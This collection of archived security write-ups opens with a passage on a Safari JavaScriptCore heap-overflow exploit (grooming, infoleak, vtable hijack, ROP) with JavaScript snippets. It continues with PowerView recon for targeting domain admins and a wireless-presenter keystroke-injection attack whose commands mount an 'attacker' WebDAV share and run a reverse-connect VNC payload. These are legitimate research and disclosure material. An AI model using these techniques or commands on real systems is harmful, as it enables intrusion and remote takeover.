range of a size\_t \(which is 64-bits wide.\)

So by also passing a long separator string to Array.prototype.join, and making
sure that the combined length of all the strings in the array doesn’t itself
overflow an unsigned int, we can get finalSize to exceed the range of an
unsigned int without triggering any of the integer overflow checks. This isn’t
a security bug though yet, but following the code forwards we see that
finalSize is immediately passed to joinStrings

outputStringImpl = joinStrings<LChar>\(m\_strings, m\_separator, finalSize\);

The prototype of that function is:

template<typename CharacterType>

static inline PassRefPtr<StringImpl> joinStrings\(const Vector<String>&
strings, const String& separator, unsigned outputLength\)

The third parameter of joinStringsunsigned int, so when finalSizesize\_t\)
gets passed to this function it will be truncated from 64-bit to 32-bits.

This is body of the JSStringJoiner::joinStrings function:

CharacterType\* data;

RefPtr<StringImpl> outputStringImpl =
StringImpl::tryCreateUninitialized\(outputLength, data\);

if \(\!outputStringImpl\)

return PassRefPtr<StringImpl>\(\);

const String firstString = strings.first\(\);

appendStringToData\(data, firstString\);

for \(size\_t i = 1; i < strings.size\(\); ++i\) \{

appendStringToData\(data, separator\);

appendStringToData\(data, strings\[i\]\);

StringImpl::tryCreateUninitializedmalloc a buffer large enough to contain the
StringImpl header followed by a buffer for outputLength characters and return
a pointer to that character buffer in \(which is passed by reference.\)

appendStringToData is a simple memcpy-like function which copies characters
from the string passed as the second argument to the buffer passed as the
first argument \(which is again a pointer passed by reference.\)

By triggering the integer truncation in the call to this function we can force
outputLength to be shorter than the actual length of all the strings which
will end up being copied in the appendStringToData calls, meaning that they
will start to write outside of the bounds of the allocated string. Note
however that the minimum length of data that will get written out-of-bounds is
over 4 gigabytes, since the total length must be >= to trigger the truncation,
and that truncation will have the effect of subtracting at least from the
length which will then be passed to tryCreateUninitialized

##  Exploiting unbounded copies

Perhaps the most well-known example of an exploit involving an unbounded copy
is the Apache on BSD negative memcpy \[
https://web.archive.org/web/20040319164357/http://securityfocus.com/archive/1/278270/2002-06-17/2002-06-23/0
\]. Here they were able to exploit a unbounded memcpy onto the stack by
overwriting the remaining length of the copy \(which was stored on the stack\)
due to a quirk of the BSD memcpy implementation. I also recently reported a
integer overflow in python which required a similar trick to exploit: \[
https://hackerone.com/reports/6389

In the case of this JavaScriptCore bug there is one fundamental insight that
will allow us to exploit it: the total length of the copy is based on values
read from the heap during the copy, and this bug lets us corrupt the heap.

In order to bound the memory copying loop and let us turn this into a
controlled heap buffer overflow we're going to have to set up the heap in a
very exact way such that we're able to corrupt all the strings which are
involved in the copy \(truncating them\) whilst also corrupting something else
useful for getting code execution.

At this point it’s worth clarifying what all the different string types which
we’ve seen so far are:

JSC::JSString is the string object which javascript manipulates. These are
garbage-collected and live on the JavaScriptCore GC heap, not the main process
heap. This object doesn’t contain any string character data but has a member
variable of type WTF::String

WTF::String is the main string type used in WebKit. It too however doesn’t
actually contain any character data; its only member variable is a reference-
counted pointer to a WTF::StringImpl

WTF::StringImpl is the actual underlying string type which both JSStringString
are built from. Looking at the in-memory layout of a StringImpl we can see it
stores the length of each string inline, therefore it should be quite easy to
use the overflow to set the m\_length field to

class StringImpl \{

unsigned m\_refCount;

unsigned m\_length;

union \{

const LChar\* m\_data8;

const UChar\* m\_data16;

union \{

void\* m\_buffer;

StringImpl\* m\_substringBuffer;

mutable UChar\* m\_copyData16;

mutable unsigned m\_hashAndFlags;

\(The character data of a StringImpl is stored inline, directly following this
header.\)

Note also that javascript strings have no byte restrictions, it’s perfectly
valid to have a string containing bytes, so overwriting fields with zero is
quite possible.

##  The heap

Strings in JavaScriptCore are allocated using fastMalloc which is in fact just
tcmalloc. There are already some great resources for learning about tcmalloc
internals: this talk from Sean Heelan and Agustin Gianni gives a good overview
of tcmalloc exploitation \[
https://immunityinc.com/infiltrate/archives/webkit\_heap.pdf \]. The tcmalloc
code itself is also quite readable \[ https://code.google.com/p/gperftools/

There are two major things to understand about tcmalloc for heap overflow
exploitation:

  * By forcing enough allocations of the same size we can force subsequent allocations of that size to be next to each other in memory, with each new allocation being at a lower address until after a certain number of allocations the addresses will jump up again.
  * Free lists are Last-In-First-Out: if you free an object the next allocation of an object of the same size is very likely to get allocated where that free’d object was.

This is a very simplified explanation but it’s enough for this exploit. Check
out the tcmalloc specific links to understand exactly how and why this
happens.

We’re aiming to use those two behaviours of tcmalloc to “groom” something like
the following heap layout: \(for some background on heap manipulation check
out Alex Sotirov’s Heap Feng-Shui research from 2007 \[
http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html

<img src='img/Temp2_6458.png' />

undersized buffer is the buffer which joinStrings will allocate to copy all
the copies of the strings in the JSStringJoiner into. What we’re aiming to do
is line up following this allocation in memory any strings which we used to
build up the array \(so that we can overwrite their length fields with 0\)
followed by a target object we want to overwrite.

##  Leaking useful addresses

My high level exploitation strategy for this bug is to trigger it twice: the
first time setting things up to create an infoleak which will allow us to
defeat ASLR and the second time round setting things up to overwrite a vtable
pointer and pivot to a ROP stack.

Fermin Serna’s “Info leak era” talk \[ https://media.blackhat.com/bh-
us-12/Briefings/Serna/BH\_US\_12\_Serna\_Leak\_Era\_Slides.pdf \] gives a good
overview of common techniques used to turn various bug classes into infoleaks.
Fermin mentions overwriting string length fields to be able to read off of the
end, and looking at the layout of a StringImpl we can see that the length
field comes before the pointer to the inline data. This means that if we can
set up the heap such that we can overwrite just the length field we’ll be able
to read off of the end of the string from javascript:

<img src='img/Temp2_6456.png' />

On the left is the heap layout we’ll try to groom, it consists of 5 objects:
the first is the undersized buffer which joinStrings allocated - this is the
buffer which if we do nothing else more than 4GB will be copied into.
Following this are the two strings which will form almost all the contents of
the array. These are the strings which we want to truncate by setting their
lengths to 0. We need two strings since we have to be able to control the
integer truncation exactly so that the allocation of the undersized buffer is
the right size and the length of the overwrite string is the right length. By
using two strings with one character difference in their lengths we can easily
truncate to any length by calculating how many copies of each string should be
in the array.

Following these is the StringImpl which we’ll overwrite the length of and use
for the infoleak. Finally, the fifth object is an HTMLLinkElement; we want to
read the vtable of this object.

The string on the right of this diagram will be the first element in the array
to be joined and consequently will be the only string which will actually be
copied into the undersized buffer \(if the grooming works.\) This is the
string which will completely overwrite source stringseparator string \(setting
their lengths to \) and the length field of leak string \(setting it to
0xffffffff.\) It doesn’t matter where on the heap this string is allocated.

##  Allocation and free primitives

Due to the nature of tcmalloc getting allocations to line up in memory is very
easy, simply allocate them one after the other in reverse order and there's a
good probability it'll work \(good enough for this contest at least.\)

In order to start getting these contiguous memory allocations we need a malloc
primitive we can trigger from javascript. For this we can just use javascript
strings, since as we saw they're actually just wrappers around the StringImpl
type. JavaScriptCore does however use one optimization we have to be aware of:
when using the addition operator ‘’ to connect strings JSC won’t create a
brand new string but instead will create a JSRopeString which has two
pointers, one to the string on the left of the ‘’ and one to the string on the
right.

These rope strings won’t help us make controlled size allocations, however
looking at the implementation of JSRopeString we can see the
JSRopeString::resolveRope method which ‘flattens’ the string by allocating a
new StringImpl large enough for the whole string then copying all the sections
of the rope into the right place. This flatten operation can be triggered on a
javascript string by simply indexing the first character allowing us to build
a simple alloc\(\) function:

/\* helper function to build strings which have a power-of-two length \*/

function pow2str\(p, b\) \{

var str = String.fromCharCode\(b\);

for \(; p; p--\)\{

str += str;

return str;

/\* build a string of any length

\* note the actual malloc’ed size will include the StringImpl header size \*/

function alloc\(n, b\) \{

var res = '';

for\(var i = 0; i < 32; i++\)\{

if\(n & 0x1\)

res += pow2str\(i, b\);

n >>= 1;

/\* this will flatten the rope and actually make the allocation \*/

res\[0\];

return res;

We can allocate the first four objects for the groom in quick succession \(the
HTMLLinkElement and three strings\) but the undersized buffer will only be
allocated after we’ve built the entire array which will be joined and called .
Since this array will have a few million entries building it is likely to
cause some heap churn and it’s very unlikely that there will be no other heap
allocations of the target size we're trying to groom. Therefore it would be
useful to have a primitive such that we can allocate a placeholder object
where we would like undersized buffer to end up, build the array and then free
the placeholder right before calling to trigger the bug. As tcmalloc’s
freelists are LIFO we’re much more likely to end up getting the undersized
buffer allocation in the right place if we can free the placeholder object
reliably.

One option is to use javascript strings again: by removing all references to
them and then forcing a garbage collection we can get the underlying
StringImpl to be free’d. Unfortunately there’s no API exposed to javascript
for forcing a GC so we’re left having to trigger one manually, usually by
making many allocations. This can be very noisy and unreliable - it’s hard to
know when the GC has actually occurred. It would be much better if we could
find a way to directly cause an allocation and free of a buffer of a
controlled size from javascript. The tcmalloc presentation linked to earlier
suggested leveraging a StringBuilder to do this but I chose to use the same
JSStringJoiner we’ve already been looking at to build a primitive:

JSStringJoiner constructor will create a Vector m\_strings to hold all the
String which will be joined, reserving the estimated capacity:

inline JSStringJoiner::JSStringJoiner\(const String& separator, size\_t
stringCount\)

: m\_separator\(separator\)

, m\_isValid\(true\)

, m\_is8Bits\(m\_separator.is8Bit\(\)\)

ASSERT\(\!m\_separator.isNull\(\)\);

m\_isValid = m\_strings.tryReserveCapacity\(stringCount\);

stringCount is completely controlled, and the Vector backing storage will be
allocated on the heap giving us a controlled heap allocation. In
arrayProtoFuncJoin as we saw earlier a JSStringJoiner is created on the stack,
which means that after the array has been joined and the JSStringJoiner goes
out of scope the m\_strings vector will be destructed and the backing storage
will be free’d. All we need to be able to do is execute arbitrary javascript
while this array is being joined which we can do easily by setting a toString
function on one of the elements of the array like this for example:

function doNoisyThing\(\)\{...\}

var arr = \[\]

arr.push\(\{toString: doNoisyThing\}\)

for\(var i = 1; i < 0x1a0/8;i++\)\{

arr.push\(""\);

The function doNoisyThing is then free to make any allocations it needs. The
method when called on will make a 0x1a0 byte heap allocation, call
doNoisyThing\(\) \(indirectly via a toString method\) and then free that 0x1a0
byte heap allocation. For example, after the following snippet executes are
likely to be contiguous on the heap, no matter what doNoisyThing

var a = alloc\(0x1a0 - 0x20, ‘A’\);

var b = alloc\(0x1a0 - 0x20, ‘B’\);

arr.join\(\); // will call doNoisyThing

var c = document.createElement\(“HTMLLinkElement”\); // 0x1a0 bytes

##  Leaking useful things

We’re now at the point where we can groom the heap and trigger the overflow to
unbound the infoleak string allowing us to read beyond its bounds. Why did we
groom an HTMLLinkElement in particular after the leak string? HTMLLinkElement
is actually very useful as it allows us to leak not only the load address of
the WebCore library in memory but also to leak the addresses of arbitrary
strings:

###  WebCore base address leak

We can compute the load address of the WebCore library by reading the vtable
pointer of the HTMLLinkElement and subtracting the known offset of that vtable
in the library.

###  Arbitrary javascript string address leak

HTMLLinkElement has two String members: m\_typem\_media. Looking at the
HTMLLinkElement::parseAttribute function we can see that we can control
m\_type easily from javascript:

void HTMLLinkElement::parseAttribute\(const QualifiedName& name, const
AtomicString& value\)

\[...\]

\} else if \(name == typeAttr\) \{

m\_type = value;

\[...\]

By setting the attribute of the groomed HTMLLinkElement to a string from
javascript and reading the m\_type field using the unbounded infoleak string
we can find the address of the underlying character data. The final step is to
make sure to keep hold of a reference to those strings to ensure they don’t
get garbage-collected and free’d.

##  Code execution

For code execution we set up a similar heap groom to that which we used for
the infoleak, except we don’t need the infoleak string this time:

<img src='img/Temp2_6457.png' />

We can build a fake vtable as a javascript string and then use the string
infoleak technique to find its address. We then trigger the overflow and
overwrite the vtable pointer of the HTMLLinkElement to point to the controlled
vtable. Having done this the renderer will almost instantly call a virtual
function on the HTMLLinkElement we just corrupted as during garbage collection
\(which happens frequently\) the virtual eventTargetData method will be
called. This virtual function pointer is at offset in the vtable, meaning that
the value at that offset into our fake vtable string will be called. This call
instruction is of the form:

call \[rax + 0x60\]

meaning that points to our controlled fake vtable. We just need to find a
suitable sequence of instructions which will let us pivot the stack to . At
offset 0x1f6235 in the WebCore library we can find the following instructions:

push rax

pop rsp

pop rbp

Executing these instructions will set the stack pointer to point to the fake
vtable string, so if we’re careful about how we build that string we can use
it as both a fake vtable and a ROP stack.

##  ROP payload

At this point we’ve achieved native code execution; the last step for part I
is to load a secondary payload and execute it. For this I’m using a very
simple ROP stack which writes a dynamic library to disk and calls dlopen to
load it allowing me write the real payload in C. Take a look at the linked
exploit to see how this ROP stack actually works.

We’ll look at the implementation of sandboxing in detail in the next post, but
it suffices for now to see that this line:

\(allow file-read\* file-write\* \(home-subpath "/Library/Keychains"\)\)

in the sandbox definition file for the web process means that we can read and
write arbitrary files in the user’s ~/Library/Keychains folder from inside the
Safari renderer sandbox. The ROP stack opens a file in there, writes the
contents of a dynamic library to it and calls dlopen to load it.

For now that payload library is simply this:

\#include <SpeechSynthesis/SpeechSynthesis.h>

\_\_attribute\_\_\(\(constructor\)\)

static void init\(void\)\{

SpeakString\("\x06pwned\!"\);

In part II we’ll replace this payload with a kernel exploit allowing us to
break out of the sandbox.

You can take a look at the complete exploit here \[
https://code.google.com/p/google-security-research/issues/detail?id=77 \].
It’s been edited from the actual one thrown at CanSecWest to target this \[
http://builds.nightly.webkit.org/files/trunk/mac/WebKit-SVN-r161944.dmg \] old
nightly build which is also vulnerable and easy to test with if you want to
fire up a debugger and try it out. All the offsets and assembly snippets in
the write-up are also from that build.

# “Identifying Your Prey”

**Created:**| _6/22/2015 10:47:50 AM_  
---|---  
**Updated:**| _6/22/2015 10:57:15 AM_  
**Author:**| __  
**Tags:**| _pentest_  
  

# Adaptive Threat Division

**Author:Will Schroeder, Adaptive Threat Division **

User hunting is one of my favorite phases of an engagement. Whether it’s
performed for lateral spread and escalation, or to demonstrate impact by
tracking down incident responders and executives, we end up hunting for users
on nearly every assessment we conduct. I presented this topic at the Shmoocon
’15 Firetalks, and published the “I Hunt Sys Admins” post to help highlight
some of the ways we track down where users are located in Windows domains.

One part of the user hunting process is gathering this raw location data from
the network you’re operating in. The other component of the workflow, and
something I haven’t covered as heavily, is identifying whom you want to
actually target. While in some networks this is as straightforward as **Get-
NetGroup “Domain Admins”** , it can get tricky when an organization has
heavily delegated groups, separated roles, and a complex Active Directory
structure. I wanted to cover a few tricks we’ve used recently to help us
identify the accounts we’re actually interested in.

**Searching for Groups**

Let’s start with something basic. PowerView’s **Get-NetGroups** accepts wildcards to search for names, which is quite useful for identifying groups of interest. You can search for any groups with “admin” in the name by executing **Get-NetGroups \*admin\***. We’ve had a lot of luck using this function to target who’s likely in charge of the data we’re after \(i.e. **Get-NetGroups \*WidgetSiteDev\***\). You can also pipe this output to **Get-NetGroup** to get a group’s members all in one swoop. For example, to target the Linux side of the house, we like to do **Get-NetGroups \*linux\* | Get-NetGroup** :
<img src='img/Temp2_10811.png' alt='“Identifying Your Prey” blog1' />

**Groups on Groups**

One situation you might run into is heavily nested groups. Unwrapping the
structure all the way down to the users you actually care about by performing
a **Get-NetGroup** for every sub group, parsing any members that might be
groups themselves, and so on can get to be painful in some environments.
PowerView’s **Get-NetGroup** function now has a **-Recurse** flag, which will
resolve any group members that might be groups themselves, continuing until
all users are enumerated:

<img src='img/Temp2_10810.png' alt='“Identifying Your Prey” blog2' />

**Separated Roles**

Something else you might encounter is when an organization separates out
administrative functionality into multiple user accounts for the same person.
For example, a system administrator might have a ‘regular’ domain account used
for email and normal operations, a separate ‘desktop admin’ account used for
desktop administration, and a ‘server admin’ account used for specific server
maintenance. This is a good security practice, as it segregates logical access
and can make it a bit trickier for attackers.

However, with a bit of data correlation on AD user objects, we can pull out
groupings of accounts likely owned by the same person. This is useful in two
separate types of scenarios. First, you can use it in a top-down approach to
figure out the regular user accounts potentially linked to high-value targets
like Domain Admins. You can then spear phish a user’s ‘regular’ domain account
in an attempt to compromise their elevated account, or search through user
hunter data for any correlations. Second, you can take a bottom-up approach by
taking user-hunting data and figuring out what high-value usernames might be
linked to any of the ‘regular’ accounts found.

Often, related accounts will have some kind of similarity or link in one of
the user object fields that can help you with grouping. The **displayname**
property is a useful one that often preserves a similar pattern across all of
a user’s accounts. We can extract this for input accounts, and then use **Get-
NetUser** ‘s new -Filter option to perform a wildcard search to return
additional users. The -Filter flag takes normal ldap query syntax of the form
**\(field=term\)** , which allows you to search specific user fields quickly.
For example, if I want to find all users with an email ending in a specific
domain, I can run the following:

_Get-NetUser -Filter “\(userprincipalname=\*@dev.testlab.local\)” | Select-Object samaccountname,userprincipalname”_
<img src='img/Temp2_10809.png' alt='“Identifying Your Prey” blog3' />

Here’s how you might wrap this all up into a PowerView one-liner for a
“Firstname Lastname” displayname format:

_Get-NetGroup -GroupName “Domain Admins” | %\{ Get-NetUser $\_.membername \} | %\{ $a=$\_.displayname.split\(” “\)\[0..1\] -join ” “; Get-NetUser -Filter “\(displayname=\*$a\*\)” \} | Select-Object -Property displayname,samaccountname_
<img src='img/Temp2_10812.png' alt='“Identifying Your Prey” blog4' />

Let’s break this one-liner down piece by piece. I’m querying for all members
of “Domain Admins” in my current domain, and for each result, I’m extracting
the resulting member/username and querying for the user with **Get-NetUser**.
For each of these results, I’m parsing out the **displayname** property,
grabbing just the first two words using split and join, and then querying for
any users that match that pattern for **displayname** \(to search for linked
accounts\). Finally, I’m extracting just the **displayname** and
**accountname** properties for display.

Depending on the network, you might need to use other fields or tweaks for
correlation, so query your existing user with **Get-NetUser** and adjust
accordingly.

# blog.teusink.net: Hacking wireless presenters with an Arduino and Metasploit

**Created:**| _7/6/2010 7:11:29 AM_  
---|---  
**Updated:**| _7/6/2010 7:12:27 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

## Sunday, July 4, 2010

### Hacking wireless presenters with an Arduino and Metasploit

I gave a presentation this week at Hack in the Box in Amsterdam about hacking
wireless presenters \(slides here. My demo showed how I could abuse
vulnerabilities in the product to get a Metasploit payload on to the PC of
someone using a wireless presenter, by just sending keystrokes to it. This
article describes how I did it and why you may be at risk if you use any
wireless input device \(such as a wireless mouse\).  
  
At lot of security research has been done on wireless keyboards in the last
couple of years. 27Mhz keyboards were attacked successfully and can be sniffed
using a home-built device. The same researchers took on modern 2.4Ghz devices
as well at the end of last year.  
  
At the beginning of this year, I started to look at the security of wireless
presenters. The one I had, a Logitech R-R0001, is a 2.4Ghz presenter. I used
it while giving my talk at HAR2009 last summer, so I was curious about the
risks involved with its use. When you plug the accompanying USB dongle into
your laptop, a new keyboard is detected, you can then use the presenter to
control your Powerpoint presentation. So basically a wireless presenter is
just a wireless keyboard with only a couple of buttons. For example: If you
press the 'next slide' button, the computer the dongle simulates a page-down
keystroke and Powerpoint displays the next slide. On of the things that
worried me was: could someone in the audience send a 'next slide' command to
the dongle in order to go to the next slide before I wanted to do so? Or
worse: could he send random keystrokes to my laptop \(after all, the device is
a keyboard\!\). Wouldn't it be fun if you could make a random message appear
on Steve Jobs' \(or Steve Ballmer's\) screen when he's giving his latest
keynote? Needless to say doing so may be a criminal offence in your country.  
  
In short: yes you can. Someone in the audience can control the slides and can
send any keystroke you want to the victim, as if they were sitting at the
keyboard. You can build a device to do this using an Arduino and a wireless
module for about €30.  
  

<img src='img/13220_presenter.jpg' />

**The R-R0001 presenter**

  
**Reverse engineering the hardware**  
  
I started my research by simply opening up the presenter device. When looking
at the IC's \('chips'\) on the circuit board I quickly noticed a CYRF6936 IC.
The 'RF' is quite a hint that this is a radio-related chip. When googling the
number I came across the manufacturers site. This IC is made by Cypress
Semiconductors and is common in 2.4Ghz systems. It operates on the 2.4Ghz band
but the technology used is not Bluetooth or WiFi. Cypress invented their own
proprietary wireless protocol \('WirelessUSB'\). Sniffers for this kind of
system are rather expensive or not freely available, so I decided to see if I
could build my own.  
  
Not all presenters are based on this IC. You may also see \(for example\) the
nRF24L01 in some devices \(this is the IC the remote-exploit.org research was
focussed on\). Another popular one is the TI/Chipcon CC2500. For now, I
decided to focus on Cypress-based devices.  
  
I also opened up the dongle, which contains \(as expected\) the same IC, along
with a simple Cypress processor. Opening up the device is not always
necessary, most devices list an FCC ID on the label which you can enter on the
FCC site. You can find documents there detailing the FCC approval of the
device for use in the United States, including internal photographs and in
some cases schematics and block diagrams. The FCC ID for the R-R0001 is
H4IPR24RF002, the manufacturer code belongs to Lite-on Technology Corp.  
  

<img src='img/13209_presenter.jpg' />

**The side of the dongle with the CYRF6936 radio**

  

<img src='img/13212_presenter.jpg' />

**The side of the dongle with the processor**

  
The processor communicates with the CYRF6936 and instructs it to send or
receive packets. The command set for the CYRF6936 is actually quite simple:
you can either read from or write to configuration registers. So to send a
packet you set a couple of parameters \(channel, mode etc.\) and write the
packet contents to some register. This communication uses a serial bus
protocol called SPI \(Serial Peripheral Interface\).  
  

<img src='img/blockdiagram.PNG' />

**A rough block diagram of the presenter dongle**

  
So I decided to try and intercept the traffic, by just buying a CYRF6936 IC,
connecting it to an Arduino and set it to listen to packets. One of the
problems I realized at an early stage was that the CYRF6936 has a lot of
configurable parameters \(channel, transmit mode, preamble, SOP-code etc.\).
This makes it quite hard to create a universal sniffer as it would constantly
have to hop between a lot of possibilities. For example the SOP \(Start Of
Packet\) code is an 8-byte setting. If the SOP-code of the sender and receiver
don't match no packets will be received. Brute-forcing an 8-byte value over
the air is impractical, and you would have to do it for all one-hundred
channels, all four packet-modes etc. etc. etc.  
  
Hardware reverse engineering is the way to go here. I decided to try and sniff
the SPI bus communication between the processor and CYRF6936 on the circuit
board of the dongle. The leads on the CYRF6936 are quite tiny so they are hard
to probe, but the processor is of a more convenient size and easy to put an IC
clip on \(which I already owned\). The pin-out is freely available on the
internet. You could also probe the processor on the presenter, but it is
somewhat harder because the IC is smaller.  
  
**Sniffing the bus**  
  
The SPI bus uses four wires: MISO, MOSI, SCK and SS. The MISO and MOSI wires
contain data \(one wire for receiving, the other for sending\), the other two
do not contain data but are necessary for proper communication. Wikipedia has
a good article on SPI if you want some more information.  
  
I hadn't done any SPI bus sniffing before but knew I would need a logic
analyser to do so. I didn't own one but ordered a USBee SX from a web-shop in
Germany for €100. This is a USB-based logic analyser which uses the PC to
interpret and display the data. The software that comes with it has built-in
support for decoding SPI. The software gives you a really nice low-level view
of the communication \(ones and zeroes or bytes\) but if you buy a license for
the 'pro' version, you can also look at decoded and interpreted data
\(register reads and writes in our case\) with the Packet Presenter. Some
alternatives are made by Zeroplus and Saleae. There is even an open source
logic analyser available from Dangerous Prototypes.  
  

<img src='img/13214_presenter.jpg' />

 **The R-R0001 dongle with the USBee SX logic analyser attached to the
processor \(four wires for SPI, one for GND\)**

  

<img src='img/13218_presenter.jpg' />

**SPI traffic in the USBee interface**

  
The USBee website has an example Packet Presenter file which can be used to
decode CYRF6936 traffic. They only implemented a couple of the 44 registers,
but with a lot of typing and datasheet reading, I completed the file with the
capability to interpret all registers.  
  

<img src='img/13211_presenter.jpg' />

**Some SPI traffic displayed in the Packet Presenter**

  
The next step is actually sniffing the data, which is not that hard once you
get the hang of it. Then you can use the Cypress datasheet and development
guides to see what all of those registers. Some have obvious names, such as
CHANNEL\_ADR, others are more cryptic \(FRAMING\_CFG\_ADR and
MODE\_OVERRIDE\_ADR for example\).  
  
By looking the intercepted traffic between the processor and the CYRF6936, I
found out how the processor configures the IC \(channel, SOP code etc.\) and
was able to create a compatible device using my Arduino. For the CYRF6936 I
used a Unigen module \(as recommended here\) which can be bought at Digikey
for €11.99. With this device I could listen in on the communication between
the presenter and the dongle and quickly started to notice patterns.  
  

<img src='img/13215_presenter.jpg' />** **

**The prototype setup: an Adruino connected to a Unigen Leto-M module. The
breadboard has some resistors to connect the 5V Arduino to the 3.3V Module**

  
For example: when I pressed the 'next slide' button the following packets are
sent:  
  
45 4E  
41 00  
  
The 'previous slide' button sends the following packets:  
  
45 4B  
41 00  
  

<img src='img/presenter.jpg' />** **

**The software receiving packets**

  
I then modified the code to enable the transmission of packets \(which took a
lot of debugging\). I replayed the packets I observed going over the air and
was able to send a 'next slide' command\! By when I changed the first packet
to 45 0E, the letter 'k' appeared on my screen; it was possible to send custom
keystrokes\! After a bit of googling I found out that 0E and 4E are standard
USB scancodes for those two keys so it's easy to look up any key you want. The
41 00 packet is a key-up event. Some more googling I found out that you can
use modifiers such as Shift, Alt and Control and also the 'Windows' key. I
tried sending Win+R and a 'Run' box appeared on my screen. This means if you
put this dongle in your PC, I can send it keystrokes and execute commands\!  
  
Of course I cheated there, I intercepted how the processor prepares the
CYRF6936. A different presenter will be configured in a different way \(so
they won't interfere with each other\).  
  
So I bought a different Logitech presenter, an R400, which was first
introduced in August 2009. This radio in this one turns out to be a CYRF69103
\(instead of a CYRF6936\). The CYRF69103 is a  'Programmable Radio on Chip',
meaning you don't need a separate processor \(it's basically two IC's in one
chip package\). This posed a problem as I wanted to sniff the communication
between the processor and the radio, but if these are both in one IC you
cannot sniff the bus. The CYRF69103 is however compatible with the CYRF6936,
although this is not very well documented.  
  

<img src='img/13210_presenter.jpg' />

**The Logitech R400 wireless presenter**

  
If you program the CYRF69103, you still communicate via SPI with the radio,
everything just happens within the package. Lucky for us: for debugging
purposed this SPI interface is also exposed to the outside \(for debugging or
connecting another SPI-based device\). So I traced the pins on the CYRF69103
and found out these are connected to some test pads on the circuit board of
the R400 presenter. So I soldered a couple of wires to the test pads to gain
easy access to the SPI bus with the logic analyser. I found out this device is
pretty similar to the R-R0001 presenter. The only thing configured differently
were the channel and the SOP-code. The SOP-codes of my R-R0001 and R400
presenters are both mentioned in the datasheet as one of eleven examples. In
some cases, Cypress seems to call these 'sub-channels'.  
  

<img src='img/13216_presenter.jpg' />

 **The R400 presenter circuit board with some wires soldered to it so it can
be connected to the logic analyser. The crocodile clips are connected to the
two batteries as I had to remove the original battery compartment to gain easy
access.**

  
So by simply cycling through the 98 channels and 11 SOP-codes \(so 1078
combinations\) I could send keystrokes to both the R-R0001 and R400, pretty
easy.  
  
Another great thing about the Cypress based IC's is that they support auto-
acknowledgements. When you enable this feature and send a packet, you can then
simply check a register to see whether an acknowledgement packet was received.
This is all handled by the chip so you don't have to write a lot of code to
support it. As the presenters have this feature enabled I figured I could use
it to actively scan for presenters  \(or at least their dongles\) in  range.
By just sending a random single-byte packet \(I just use a NULL-byte\) on
every channel and SOP-code combination I can detect presenters by checking
whether any acknowledgements are received. The process of scanning all 1078
combinations takes less than 30 seconds. It could probably be optimised even
further as the device probably doesn't use all 98 channels.  
  

<img src='img/13219_presenter.jpg' />

**The software scanning for devices \(and finding both of my presenters\)**

  
After scanning for devices I can then decide to listen for packets or start
injecting keystrokes. I don't own any CYRF6936-based keyboards, but the code
would probably work with some of those as well.  
  
**Getting a metasploit payload on there**  
  
So at HITB2010AMS I gave a demo where I would take over the system with the
presenter dongle in it by just sending keystrokes to it. I sent these
keystrokes:  

  1. \[Win+R\]
  2. net use X: http://attacker/webdavshare
  3. X:\VNCconnectback.exe
  4. \[enter\]

The second command mounts a WebDAV share \(an Apache server with WebDAV
enabled\) using the Windows WebDAV Mini-Redirector service \(a trick often
used by the Metasploit framework as well\). Then I just execute an executable
that's on the share. The executable was generated with msfpayload. The payload
connected back to my machine and spawned a VNC session, allowing me to control
the machine remotely.  
  
I mentioned some other options in my talk. A cool one would be to just type
the whole executable into debug.exe \(a well known trick to create binary
files from plaintext\). An easy one would be to just add a user to the system
or rickroll the audience \(if you're into that kind of thing\).  
  
**Why you are at risk if you use a mouse**  
  
Something I noticed is even though the presenters do not contain any mouse-
functionality, my system did detect both a keyboard and a mouse when I put the
dongle in my PC. This makes sense as the manufacturer only has to build one
type of dongle for all input devices: mice, keyboards and mouse/keyboard
combinations. This also means that when you're using a presenter, someone
cannot only control your keyboard, but also your mouse movements. This is not
such a big deal as an attacker can do pretty much everything with the keyboard
and doesn't need a mouse. But of course this would also work the other way
around: if you use a wireless mouse, the dongle that comes with it most likely
also supports keyboards. So even though people may not be able to sniff your
keystrokes, it will still be possible to send keystrokes to your PC \(and
execute arbitrary OS commands\). If another keyboard appears in your Windows
Device Manager when you plug in the dongle of your wireless mouse, you are
probably at risk.  
  
**Future work?**  
  
The Unigen module I used has a range of about 30 feet. Other modules are
available with a range of up to 1KM. Even though active scanning won't be
possible at such a range, simply cycling through all the channels and sending
the payload it should be possible to own multiple presenters at a large
conference without even being in the audience.  
  
Another Logitech presenter is the R800. I didn't buy that one but the hardware
seems to be almost identical to that of the R400, so my software will most
likely work with it as well.  
  
**How to fix all this?**  
  
So what's the solution? If you already own a wireless presenter there is very
little you can do \(apart from accepting the risk and hoping nothing goes
wrong\). Manufacturers have started to use encryption for wireless keyboards
and should start using this for presenters as well \(Cypress actually offers
encryption sample code\). Not encryption mouse movements is probably
acceptable, as long as the dongle only support encrypted keystrokes. I am not
aware of any presenter that currently uses encryption.  
  
Another option would be to just not allow any other keys than the ones
actually on the presenter. Of course this would still allow attackers to send
the 'next slide' command, but remote code execution shouldn't be possible.
Also, manufacturers would not be able to use one dongle for all their devices
anymore.  
  
I'm not sure whether other presenters are vulnerable, but I think it's pretty
likely.  
  
You can find my Arduino code here:  http://blog.teusink.net/2010/07/cybaby-
software-you-can-use-to-hack.html

Posted by Niels Teusink at 2:29 PM <img src='img/13213_icon18_edit_allbkg.gif'
width='18' height='18' />

Labels: arduino, exploitation, hitb, presenters

  *[2:29 PM]: 2010-07-04T14:29:00+02:00

# Padding Oracles

**Created:**| _5/13/2011 11:36:12 AM_  
---|---  
**Updated:**| _5/13/2011 11:36:12 AM_  
**Author:**| __  
**Tags:**| _attacks analysis awesome_  
  

# Padding Oracles

## Articles

  * Serge Vaudenay, Security Flaws Induced by CBC Padding - Applications to SSL, IPSEC, WTLS, _Proceedings of In Advances in Cryptology - EUROCRYPT’02_ , 2002
  * Kenneth Paterson and Arnold Yau, Padding Oracle Attacks on the ISO CBC Mode Encryption Standard, _Cryptology - The Cryptographers’ Track at the RSA Conference_ , 2004
  * Juliano Rizzo \(Twitter\) and Thai Duong \(Twitter\), Practical Padding Oracle Attacks, _WOOT’10 4th USENIX Workshop on Offensive Technologies_ , 2010

## Presentations

  * Juliano Rizzo and Thai Duong, Practical Crypto Attacks Against Web Applications, _BlackHat Europe 2010_ , April 15, 2010 Slides \(netifera\), Slides \(BlackHat\), White Paper
  * Juliano Rizzo and Thai Duong, Padding Oracles Everywhere, _Ekoparty 2010_ , September 17, 2010 Slides
